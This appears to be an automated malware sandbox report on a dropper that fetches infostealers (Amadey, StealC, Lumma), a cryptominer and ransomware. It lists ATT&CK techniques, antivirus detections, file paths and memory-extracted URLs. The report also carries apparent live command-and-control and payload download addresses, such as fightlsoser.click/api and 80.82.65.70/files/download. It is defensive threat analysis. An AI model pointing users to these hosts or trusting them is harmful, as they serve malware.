Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0005DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0005DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	312 Process Injection	51 Obfuscated Files or Information	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	221 Software Packing	NTDS	971 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	68%	ReversingLabs	Win32.Trojan.Mikey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	50%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	66%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	67%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	66%	ReversingLabs	Win32.Trojan.Lumma
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	29%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	68%	ReversingLabs	Win32.Trojan.Mikey
C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	66%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	66%	ReversingLabs	Win32.Trojan.Lumma
C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	67%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	29%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	50%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\N4e26fwGw3w\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	58%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	58%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label	Link
https://fightlsoser.click/apiPl	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe1395d7fz	0%	Avira URL Cloud	safe
https://fightlsoser.click/api	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exe&h	0%	Avira URL Cloud	safe
https://fightlsoser.click:443/api	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download0/files/downloadZp	0%	Avira URL Cloud	safe
https://fightlsoser.click/api4Q	100%	Avira URL Cloud	malware
https://grahm.xyz/(	100%	Avira URL Cloud	malware
https://fightlsoser.click:443/api	1%	Virustotal		Browse
https://fightlsoser.click/api	1%	Virustotal		Browse
http://80.82.65.70/files/downloadZp	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/downloadUTF-8	0%	Avira URL Cloud	safe
https://grahm.xyz/$	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeX	0%	Avira URL Cloud	safe
https://grahm.xyz/O	100%	Avira URL Cloud	malware
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empe	0%	Avira URL Cloud	safe
https://fightlsoser.click/api2Q	100%	Avira URL Cloud	malware
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empy	0%	Avira URL Cloud	safe
https://support.mozilla.orgnetwork.proxy.backup.socksaccount-connection-connectedPERMISSION_REQUEST_	0%	Avira URL Cloud	safe
https://grahm.xyz/g	100%	Avira URL Cloud	malware
https://grahm.xyz/t	100%	Avira URL Cloud	malware
https://drive-connect.cyou/apii8R	100%	Avira URL Cloud	malware
http://31.41.244.11/files/hell911/random.exeS	0%	Avira URL Cloud	safe
https://grahm.xyz/e	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download)	0%	Avira URL Cloud	safe
https://truecolors.firefox.comnetwork.proxy.backup.socks_portchrome://browser/skin/menu.svgbrowser.u	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download1	0%	Avira URL Cloud	safe
https://grahm.xyz/e~	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	142.250.181.46	true	false	high
play.google.com	172.217.19.206	true	false	high
t.me	149.154.167.99	true	false	high
www.google.com	142.250.181.132	true	false	high
fightlsoser.click	172.67.213.48	true	false	high
drive-connect.cyou	104.21.79.7	true	false	high
grahm.xyz	116.203.10.31	true	false	high
youtube.com	142.250.181.110	true	false	high
detectportal.firefox.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fightlsoser.click/api	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
formy-spill.biz	false		high
dwell-exclaim.biz	false		high
http://80.82.65.70/dll/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-pixelCould	firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000037.00000002.2995908921.00000230EAEDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/userpreffedRegionsBlockStringAS_ROUTER_TELEMETRY_USER_EVENTDISCOVERY_STR	firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fightlsoser.click/apiPl	1747150d4f.exe, 00000007.00000003.2771760830.000000000155B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB773000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000037.00000002.3043339127.00000230F8F9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fightlsoser.click:443/api	1747150d4f.exe, 00000007.00000003.2901948742.00000000014E8000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.00000000014E5000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/unique2/random.exe&h	skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 00000037.00000002.3004411668.00000230F6761000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000037.00000002.3333883577.00000230FCE24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/download0/files/download	8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2759339152.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000037.00000002.3345374154.00000230FE7C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3355984254.0000023105289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe1395d7fz	skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/download0/files/downloadZp	8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 00000037.00000002.3341288663.00000230FE271000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fightlsoser.click/api4Q	1747150d4f.exe, 00000007.00000003.2901698864.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grahm.xyz/(	d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com	firefox.exe, 00000037.00000002.3341288663.00000230FE271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3337856699.00000230FD224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000037.00000002.3350190811.0000023103158000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/downloadZp	8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/soft/downloadUTF-8	8ef456fdd1.exe, 00000009.00000002.2998515305.000000000568D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exeX	skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grahm.xyz/$	d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2976487065.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000037.00000002.3341288663.00000230FE299000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grahm.xyz/O	d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE713000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empe	8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/Endpoint	firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 00000037.00000002.3350190811.0000023103158000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empy	8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	false		high
